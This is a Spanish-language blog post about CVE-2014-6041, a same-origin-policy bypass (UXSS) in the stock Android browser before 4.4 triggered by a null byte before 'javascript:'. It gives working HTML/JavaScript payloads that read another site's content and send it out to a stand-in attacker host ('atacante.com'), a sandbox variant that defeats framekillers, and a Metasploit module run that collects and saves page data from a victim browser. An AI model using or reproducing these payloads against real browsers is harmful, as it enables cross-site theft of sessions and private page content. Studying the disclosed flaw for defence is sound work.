Evasión de SOP en navegadores de Android

La Política del mismo origen o Same Origin Policy (SOP) es una medida de seguridad básica que deben implementar todos los navegadores actuales. La idea es muy sencilla: el código de una página que se ejecuta en cliente (casi siempre javascript) no debe ser capaz de acceder al código de otra.

Eso es porque, aunque hay algunas excepciones con unas pocas propiedades y atributos, si se permitiera acceder globalmente desde un origen a otro (Esquema, dominio y puerto) un sitio A podría acceder a las propiedades de otro sitio B, es decir, un sitio malicioso podría obtener las cookies, location, response, etc. de otro sitio por el que está navegando el usuario. Un ejemplo claro sería cuando un usuario accede a un sitio malicioso y es posible robar una sesión de Facebook abierta en otra pestaña del navegador.

Pues bien, resulta que el navegador por defecto de todas las versiones de Android anteriores a la 4.4, el conocido como AOSP browser (Android Open Source Project), permite evadir La Política del mismo origen (SOP) cargando Javascript en un iframe o ventana cualquiera simplemente poniendo antes de "javascript:..." un byte nulo. Es lo que sería UXSS (Universal Cross-site Scripting).

Veamos un ejemplo claro:

<iframe name="test" src="http://www.prueba.com"></iframe>
 
<input type=button value="test"
 
onclick="window.open('\u0000javascript:alert(document.domain)','test')" >

Como veis el código intentará acceder a la propiedad document.domain del sitio www.prueba.com, y si lo hacéis desde un navegador vulnerable funciona. Se trata pues de un fallo crítico, el identificado con CVE-2014-6041, que afecta a la mayoría de los sistemas Android (que son los ~~desafortunadamente~~ no actualizados).

Por tanto podemos leer la respuesta de cualquier página accediendo a la propiedad document.body.innerHTML:

<iframe name="test" src="http://www.prueba.com"></iframe>
<input type=button value="test"
onclick="window.open('\u0000javascript:alert(document.body.innerHTML)','test')" >

A continuación para completar el "trabajito" podemos enviar la respuesta al dominio a nuestro dominio de atacante:

<iframe name="test" src="http://www.prueba.com"></iframe>
<input type=button value="test"
onclick="window.open('\u0000javascript:var i=new Image();i.src='//atacante.com?'+document.body.innerHTML;document.body.appendChild(i);','test')" >

Y si algún sitio web temeroso de clickjacking tiene algún framekiller podemos aprovechar las bondades del atributo sandbox de HTML5:

<iframe name="test" src="http://www.prueba.com" sandbox></iframe>
<input type=button value="test"
onclick="window.open('\u0000javascript:var i=new Image();i.src='//atacante.com?'+document.body.innerHTML;document.body.appendChild(i);','test')" >

Además, para facilitarnos más aún la vida loca, jvennix-r7 ha publicado un módulo de Metasploit que también soporta la evasión de x-frame-options cocinando así un exploit universal listo para su uso: https://github.com/rapid7/metasploit-framework/pull/3759.

Probarlo es fácil. Ingresamos inocentemente en Facebook con nuestro usuario:

Y preparamos la PoC con Metasploit:

msf > use auxiliary/gather/android_stock_browser_uxss
set TARGET_URLS http://example.com
TARGET_URLS => http://example.com
msf auxiliary(android_stock_browser_uxss) > run
[*] Auxiliary module execution completed
msf auxiliary(android_stock_browser_uxss) >
[*] Using URL: http://0.0.0.0:8080/EFba5g10Ou
[*]  Local IP: http://10.21.1.99:8080/EFba5g10Ou
[*] Server started.

msf auxiliary(android_stock_browser_uxss) >
[*] 10.21.1.99       android_stock_browser_uxss - Request 'GET /EFba5g10Ou'
[*] 10.21.1.99       android_stock_browser_uxss - Sending initial HTML ...
[*] 10.21.1.99       android_stock_browser_uxss - Request 'POST /EFba5g10Ou'
[+] Collected data from URL: http://example.com/
[+] Saved to: D:/metasploit/apps/pro/loot/20140916171229_default_10.21.1.99_android.client_314522.txt